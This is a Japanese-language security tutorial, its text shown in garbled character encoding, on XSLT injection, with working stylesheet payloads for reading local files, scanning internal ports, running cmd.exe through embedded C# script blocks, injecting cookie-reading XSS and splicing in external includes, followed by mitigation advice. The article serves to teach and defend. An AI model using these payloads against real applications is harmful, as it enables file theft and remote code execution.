
XSLïŒExtensible Stylesheet LanguageïŒã¯ãXMLããã¥ã¡ã³ããå€æããããã®èšèªã§ãã XSLTã¯XSLå€æã®ç¥ã§ãã XSLå€æã¯ãXMLããã¥ã¡ã³ããã®ãã®ã§ãã å€æã®çµæã¯ãå¥ã®XMLããã¥ã¡ã³ãããŸãã¯HTMLããã¥ã¡ã³ããCSVãã¡ã€ã«ãããã¹ããã¡ã€ã«ãªã©ã®ä»ã®äœãã§ããå¯èœæ§ããããŸãã ãã®èšäºã§ã¯ãXSLTã®ããã€ãã®æ»æãã¯ãã«ã«ã€ããŠèª¬æããŸãã
ã¹ã¿ã€ã«èšèªïŒXSLTïŒã®è匱æ§ã¯ãWebã¢ããªã±ãŒã·ã§ã³ã«é倧ãªçµæãããããå¯èœæ§ããããå€ãã®å Žåããªã¢ãŒãã³ãŒãå®è¡ïŒRCEïŒã«ã€ãªãããŸãã ãããªãã¯ãšã¯ã¹ããã€ãã䜿çšãããªã¢ãŒãã³ãŒãå®è¡ã®XSLTè匱æ§ã®äŸã¯ãCVE-2012-5357ãCVE-2012-1592ãCVE-2005-3757ã§ãã äžèšã®äŸã¯ãXSLTã®è匱æ§ãããªã以åããç¥ãããŠããããšã瀺ããŠãããXMLã€ã³ãžã§ã¯ã·ã§ã³ãªã©ã®ä»ã®é¡äŒŒã®è匱æ§ã»ã©äžè¬çã§ã¯ãããŸããããéåžžã«æ·±å»ãªã»ãã¥ãªãã£ãªã¹ã¯ããããããŸãã
XSLT
XSLTã®éåžžã®äœ¿çšæ³ã¯ãããŸããŸãªã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠåŠçããããã¡ã€ã«åœ¢åŒéã§ããŸããã³ãã¬ãŒããšã³ãžã³ãšããŠããŒã¿ãå€æããããšã§ãã å€ãã®ããžãã¹ã¢ããªã±ãŒã·ã§ã³ã¯ãXSLTãåºç¯å²ã«äœ¿çšããŠããŸãã ããšãã°ãããã€ãã®èŠçŽ ãå±æ§ãå€ãæã€XMLããã¥ã¡ã³ãããããŸããããã®ããã«ã¯èŠçŽ ã移åããããæ§é ãå€æŽããïŒããšãã°ãå±æ§ãèŠçŽ ã«ããïŒããè¿œå ã®èšç®ãå®è¡ããå¿
èŠããããŸãã XSLTããã»ããµã䜿çšããŠãå€ãããã¥ã¡ã³ããæ°ãããã¥ãŒã«å€æã§ããŸãã
ãã®ãã¯ãããžãŒã¯ãå€ãã®å Žåã次ã®ç®çã§äœ¿çšãããŸãã
- 建ç©ã®å ±å;
- ããããã®åœ¢åŒãžã®ããŒã¿ã®ãšã¯ã¹ããŒãã
- å°å·æ©èœ;
- ã¡ãã»ãŒãžãéä¿¡ããŸãã
ææ°ã®XSLTããã»ããµã®æ©èœã«ã¯å€§ããªæ¬ ç¹ããããŸããé©åã«æ§æãããŠããªããšãXSLTããã»ããµã¯Webã¢ããªã±ãŒã·ã§ã³ãå±éºã«ããããããä»»æã®ã³ãŒãã®å®è¡ãèš±å¯ãããã§ããŸãã
ããŒã¿å€æã®äŸïŒæç©ã®ãªã¹ããšçžå¯Ÿçãªèª¬æãå«ãXMLãã¡ã€ã«ããããŸãã
<?xml version="1.0" ?> <fruits> <fruit> <name>Lemon</name> <description>Yellow and sour</description> </fruit> <fruit> <name>Watermelon</name> <description>Round, green outside, red inside</description> </fruit> </fruits>
XMLããã¥ã¡ã³ããããã¹ããã¡ã€ã«ã«å€æããã«ã¯ã次ã®XSLå€æã䜿çšã§ããŸãã
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
ãã®çµæããã¬ãŒã³ããã¹ããã¡ã€ã«ãååŸãããŸãã
Fruits: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
XSLTãµãŒããŒåŽã€ã³ãžã§ã¯ã·ã§ã³æäœ
äŸã§ã¯ãMicrosoftã®System.Xml XSLã䜿çšããŠè匱ãªã¢ããªã±ãŒã·ã§ã³ã«çŠç¹ãåœãŠãŸãã ãã ããLibxsltãSaxonãXalanãªã©ã®ä»ã®äžè¬çãªã©ã€ãã©ãªã«ãåæ§ã®æ¹æ³ãé©çšãããŸãã
æåã®ã¹ãããã¯ãè匱ãªã¢ããªã±ãŒã·ã§ã³èšå®ãèå¥ããããšã§ãã æãåçŽãªã±ãŒã¹ã¯ãä»»æã®XSLTãã¡ã€ã«ãããŠã³ããŒãã§ããã¢ããªã±ãŒã·ã§ã³ã§ãã
ããªããã»ããµã¯ãé©åãªæ€èšŒãªãã§ãŠãŒã¶ãŒå
¥åã䜿çšããŠXMLããã¥ã¡ã³ããåçã«çæã§ããŸãïŒããã®äŒç€Ÿåãã£ãŒã«ãïŒïŒ
<?xml version=â1.0â encoding=âutf-8â?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
ã¢ããªã±ãŒã·ã§ã³ãè匱ãã©ãããå€æããã«ã¯ãäºéåŒçšç¬ŠãåäžåŒçšç¬Šãå±±æ¬åŒ§ãªã©ãXMLããã¥ã¡ã³ãã®æ§æã«å¯ŸããŠéåžžç¡å¹ãªæåãå
¥åããã ãã§ãã ãµãŒããŒããšã©ãŒãè¿ããå Žåãã¢ããªã±ãŒã·ã§ã³ã¯æœåšçã«è匱ã§ãã
ç°ãªãã©ã€ãã©ãªã«ã¯ç°ãªãXSLTé¢æ°ããããããã©ã€ãã©ãªã§äœ¿çšå¯èœãªé¢æ°ã¯å¥ã®ã©ã€ãã©ãªã§ã¯äœ¿çšã§ããªãå ŽåããããŸãã ã©ã€ãã©ãªéã§äºææ§ã®ãªãç¬èªã®æ¡åŒµæ©èœãå®è£
ãããããšããããããŸãã ããã«ãããã©ã«ãèšå®ã¯å®è£
ããšã«å€§ããç°ãªããŸããéåžžãããã©ã«ãã§å±éºãªæ©èœãæå¹ã«ãªã£ãŠããå€ãã©ã€ãã©ãªãšãå¿
èŠã«å¿ããŠéçºè
ãæ瀺çã«æå¹ã«ããå¿
èŠãããæ°ããã©ã€ãã©ãªããããŸãã
ã©ã€ãã©ãªãããã€ããŒã®ååã¯ãXSLT v1.0æšæºã®äžéšã§ãããsystem-propertyïŒïŒãé¢æ°ã䜿çšããŠååŸã§ããŸãã
次ã®å€æã䜿çšããŠãã©ã€ãã©ãªã®ããããã€ããŒããå€å¥ã§ããŸãã
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:value-of select="system-property('xsl:vendor')"/> </xsl:template> </xsl:stylesheet>
Microsoft .Net System.xmlã®å®è£
ããã¹ãããŠãããããæ»ãå€ã¯ãMicrosoftãã§ãã
Microsoft
以äžã®è¡šã¯ãXSLTããªããã»ããµã®ã·ã¹ãã ããããã£åŠçã瀺ããŠããŸãã

ä»»æã®ãã¡ã€ã«ãšããŒãã¹ãã£ã³ãèªã¿åã
次ã®äŸã§ã¯ãå€éšãªããžã§ã¯ãã䜿çšããŠããã¡ã€ã«ãCïŒ\ secretfruit.txtãã®å
容ãèªã¿åããŸãã
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
ENTITYèŠçŽ ã¯ããã¡ã€ã«ã®å
容ãext_fileãªã³ã¯ã«é
眮ããext_file;ã䜿çšããŠã¡ã€ã³ææžå
ã«å°å·ããŸãã åºåã«ã¯ããã¡ã€ã«ã®ç§å¯ã®å
容ã衚瀺ãããŸãïŒGolden AppleïŒïŒ
Fruits Golden Apple: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
ãã®æ¹æ³ã䜿çšãããšãéåžžã¯æ»æè
ãã¢ã¯ã»ã¹ã§ããªãå
éšã·ã¹ãã ã§ãã¹ããããŠããWebãµãŒããŒããã³WebããŒãžã«ããŒã«ã«ã«ä¿åãããŠãããã¡ã€ã«ãæœåºã§ããŸãã ãããã¯ãè³æ Œæ
å ±ãå«ãæ§æãã¡ã€ã«ãŸãã¯ä»ã®æ©å¯æ
å ±ãå«ããã¡ã€ã«ã§ãã ãã¡ã€ã«ã¯ãUNCãã¹ã䜿çšããŠæœåºããããšãã§ããŸãïŒ\ servername \ share \ fileããã³httpïŒ// servername / file ã
IPã¢ãã¬ã¹ãšããŒãçªå·ã®ãªã¹ãã䜿çšããŠãã¢ããªã±ãŒã·ã§ã³ã®å¿çã«å¿ããŠãªã¢ãŒãããŒããéããŠãããéããŠããããå€æããããšãã§ããŸãã ããšãã°ãã¢ããªã±ãŒã·ã§ã³ã¯ããŸããŸãªãšã©ãŒã¡ãã»ãŒãžã衚瀺ããããå¿çã«æéé
延ãå«ããããšãã§ããŸãã
次ã®XSLTå€æã§ã¯ãåã®äŸã§äœ¿çšããããŒã«ã«ãã¡ã€ã«ãã¹ã®ä»£ããã«URL http://172.16.132.1:25ã䜿çšããŸãã
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
次ã®ã¹ã¯ãªãŒã³ã·ã§ããã¯ãURLã«æ¥ç¶ããããšãããšãã«è¿ããããšã©ãŒã瀺ããŠããŸãã

documentïŒïŒé¢æ°ã䜿çšããŠãããã¥ã¡ã³ããååŸããããŒãã¹ãã£ã³ãå®è¡ããããšãã§ããŸãã
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
çµã¿èŸŒã¿ãããã¯ã䜿çšãããªã¢ãŒãã³ãŒãå®è¡
çµã¿èŸŒã¿ã¹ã¯ãªãããããã¯ã¯ãXSLTããã¥ã¡ã³ãã«ã³ãŒããçŽæ¥å«ããããšãã§ããXSLTã®ç¬èªã®æ¡åŒµæ©èœã§ãã ããšãã°ãMicrosoftã®å®è£
ã§ã¯ãCïŒã³ãŒããå«ãŸããå ŽåããããŸãã ããã¥ã¡ã³ãã解æããããšãã³ãŒãããªã¢ãŒããµãŒããŒã«ãã£ãŠã³ã³ãã€ã«ããã³å®è¡ãããŸãã
次ã®XSLTããã¥ã¡ã³ãã«ã¯ãçŸåšã®äœæ¥ãã£ã¬ã¯ããªå
ã®ãã¡ã€ã«ã«é¢ããæ
å ±ã衚瀺ãããŸãã
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"> <msxsl:script language = "C#" implements-prefix = "user"> <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script> <xsl:template match="/fruits"> --- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/> --- END COMMAND OUTPUT --- </xsl:template> </xsl:stylesheet>
ãŸããxslïŒstylesheetã¿ã°å
ã«2ã€ã®æ°ããXMLãã¬ãã£ãã¯ã¹ãå®çŸ©ããŸãã æåã®ãxmlnsïŒmsxslãã¯ãMicrosoftç¬èªã®æ¡åŒµæ©èœãæå¹ã«ããããã«å¿
èŠã§ãã2çªç®ã®ãxmlnsïŒuserãã¯ããmsxslïŒscriptãã¹ã¯ãªãããããã¯ã«ãã£ãŠå®è£
ããããŠãŒã¶ãŒãŠãŒã¶ãŒæ¡åŒµæ©èœã宣èšããŸãã
CïŒã³ãŒãã¯ãã³ãã³ããcmd.exe / c dirããå®è¡ããã³ãã³ãã®åºåãæååãšããŠè¿ãé¢æ°ãexecuteïŒïŒããå®è£
ããŸãã æåŸã«ãé¢æ°ã¯ãxslïŒvalue-ofãã¿ã°å
ã§åŒã³åºãããŸãã
å€æã®çµæã¯ãdirã³ãã³ãã®åºåã§ãã
--- BEGIN COMMAND OUTPUT --- Volume in drive C has no label. Volume Serial Number is EC7C-74AD Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole Application\XsltConsoleApplication\bin\Debug 22/02/2017 15:19 <DIR> . 22/02/2017 15:19 <DIR> .. 22/02/2017 13:30 258 data.xml 22/02/2017 14:48 233 external_transform.xslt 22/02/2017 15:15 12 secretfruit.txt 31/01/2017 13:45 154 secretfruit.xml 22/02/2017 15:29 831 transform.xslt 22/02/2017 13:49 7,168 XsltConsoleApplication.exe 26/01/2017 15:42 189 XsltConsoleApplication.exe.config 22/02/2017 13:49 11,776 XsltConsoleApplication.pdb 8 File(s) 20,621 bytes 2 Dir(s) 9,983,107,072 bytes free --- END COMMAND OUTPUT ---
XSSæäœ
次ã®äŸã¯ããã³ãã¬ãŒãã¿ã°ã§ã®XSSãã¯ãã«ã®æŽ»çšã瀺ããŠããŸãã
<xsl:stylesheet version=â1.0â³ xmlns:xsl=âhttp://www.w3.org/1999/XSL/Transformâ xmlns:php=âhttp://php.net/xslâ> <xsl:template match=â/â> <script>alert(document.cookie)</script> </xsl:template> </xsl:stylesheet>
ã€ã³ããŒãæ©èœ
ã¢ããªã±ãŒã·ã§ã³ã®ã€ã³ããŒãããã³å
å«ã¿ã°ã䜿çšããŠãè€æ°ã®XSLTããã¥ã¡ã³ããçµåã§ããŸãã
ã€ã³ããŒãæ©èœã䜿çšããŠãXSLTããã¥ã¡ã³ããå€éšããã¥ã¡ã³ããšçµåã§ããŸãã å€éšãã¡ã€ã«ãããŒãããããšãããã¥ã¡ã³ãå
šäœãåæãããæ»æè
ããããå¶åŸ¡ããå Žåãå€éšå€éšXMLãªããžã§ã¯ããšå€éšãã¡ã€ã«ã®åã蟌ã¿ã¹ã¯ãªããã®äž¡æ¹ã䜿çšã§ããŸãã
xslïŒimportã¿ã°ã¯xslïŒstylesheetã¿ã°ã®æåã®åãšããŠã®ã¿äœ¿çšã§ããŸãããxslïŒincludeã¿ã°ã¯ä»ã®äœçœ®ã§äœ¿çšã§ããŸãã
<?xml version=â1.0â encoding=âutf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
ãexternal_transform.xsltããšããååã®æ¬¡ã®å€éšXSLTãã¡ã€ã«ãã¡ãã»ãŒãžã«å«ããŸãïŒå€éšå€æããã®ããã«ã¡ã¯ïŒã
<?xml version=â1.0â encoding=âutf-8â?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Hello from the external transformation </xsl:template> </xsl:stylesheet>
å€éšããã¥ã¡ã³ããå«ããã«ã¯ã次ã®ã¿ã°ã䜿çšããå¿
èŠããããŸãã
<xsl: include href = "external_transform.xslt" />
ããã«ã¯1ã€ã®æ©èœããããŸããxslïŒincludeã¿ã°ãxslïŒãã³ãã¬ãŒãã¿ã°ã«å«ããããšã¯ã§ããŸããã ãããã£ãŠãæåã«ã¿ã°ãxslïŒtemplateããéããå¿
èŠããããŸãã次ã«ãã¿ã°ãxslïŒincludeããè¿œå ããŠãæåã®èŠä»¶ãæºãããŸãã æŽåœ¢åŒã®XMLãã¡ã€ã«ãååŸããã«ã¯ããxslïŒincludeãã¿ã°ã®åŸã«ãxslïŒtemplateãã¿ã°ãå床éãå¿
èŠããããŸãã
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
泚å
¥åŸãçµæã®XSLTããã¥ã¡ã³ãã¯æ¬¡ã®ããã«ãªããŸãã
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet>
æšå¥šäºé
ã¢ããªã±ãŒã·ã§ã³ã§XSLTã䜿çšããŠããå Žåã¯ã次ã®ã¬ã€ãã©ã€ã³ã«åŸãããšã§ãªã¹ã¯ã軜æžã§ããŸãã
å¯èœãªéãããŠãŒã¶ãŒæäŸã®XSLTããã¥ã¡ã³ãã¯é¿ããŠãã ããã
ä¿¡é Œã§ããªããœãŒã¹ïŒå
¥åïŒããæž¡ãããå€ãæã€XSLTããã¥ã¡ã³ããçæããªãã§ãã ããã ééçãªå€ãå¿
èŠãªå Žåã¯ãXMLããŒã¿ãã¡ã€ã«ã«å«ãŸããXSLTããã¥ã¡ã³ãã®ã¿ãåç
§ããå¿
èŠããããŸãã
XSLTã©ã€ãã©ãªã«ãã£ãŠå®è£
ãããŠããæœåšçã«å±éºãªæ©èœãç¡å¹ã«ããŸãã ã©ã€ãã©ãªã¯å€ãã®å Žåãå®å
šã§ãªãããã©ã«ãã䜿çšããŸãã ç¡å¹ã«ããã©ã€ãã©ãªã®ããã¥ã¡ã³ãã確èªããŠãã ãããå€éšXMLãªããžã§ã¯ãã é¢æ° "documentïŒïŒ"; ã€ã³ããŒãããã³å
å«ã¿ã°ã
ã»ãã¥ãªãã£æ©èœã䜿çšããŠãéä¿¡ãããã³ã³ãã³ãããã£ã«ã¿ãªã³ã°ããŸãã
ãŸããããã©ã«ãã§äœ¿çšãããæœåšçã«å±éºãªXSLTããªããã»ããµãã€ã³ãã®è¡šãæ·»ä»ããŸãã
